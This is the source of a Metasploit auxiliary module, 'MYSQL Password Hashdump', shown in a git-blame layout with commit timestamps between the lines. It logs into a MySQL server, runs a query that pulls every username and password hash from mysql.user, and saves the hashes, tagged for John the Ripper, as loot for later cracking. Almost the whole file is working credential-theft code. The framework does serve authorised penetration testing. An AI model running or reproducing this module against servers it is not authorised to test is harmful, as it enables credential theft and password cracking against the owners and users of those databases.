2011-08-15 16:28:31 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-08-15 16:28:31 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::MYSQL
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'MYSQL Password Hashdump',
|
|
|
|
'Description' => %Q{
|
|
|
|
This module extracts the usernames and encrypted password
|
|
|
|
hashes from a MySQL server and stores them for later cracking.
|
|
|
|
},
|
|
|
|
'Author' => ['theLightCosine'],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
if (not mysql_login_datastore)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-06-20 20:21:35 +00:00
|
|
|
service_data = {
|
|
|
|
address: ip,
|
|
|
|
port: rport,
|
|
|
|
service_name: 'mysql',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
origin_type: :service,
|
|
|
|
private_data: datastore['PASSWORD'],
|
|
|
|
private_type: :password,
|
|
|
|
username: datastore['USERNAME']
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
|
|
|
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
last_attempted_at: DateTime.now,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
2014-06-20 20:21:35 +00:00
|
|
|
}
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#Grabs the username and password hashes and stores them as loot
|
|
|
|
res = mysql_query("SELECT user,password from mysql.user")
|
|
|
|
if res.nil?
|
|
|
|
print_error("There was an error reading the MySQL User Table")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-06-04 16:59:47 +00:00
|
|
|
service_data = {
|
|
|
|
address: ::Rex::Socket.getaddress(rhost,true),
|
|
|
|
port: rport,
|
|
|
|
service_name: 'mysql',
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
jtr_format: 'mysql,mysql-sha1',
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
private_type: :nonreplayable_hash
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
if res.size > 0
|
|
|
|
res.each do |row|
|
2014-06-04 16:59:47 +00:00
|
|
|
credential_data[:username] = row[0]
|
|
|
|
credential_data[:private_data] = row[1]
|
2013-08-30 21:28:54 +00:00
|
|
|
print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}")
|
2014-06-04 16:59:47 +00:00
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
2014-06-04 16:59:47 +00:00
|
|
|
}
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
create_credential_login(login_data)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2011-08-15 16:28:31 +00:00
|
|
|
|
|
|
|
|
|
|
|
end
|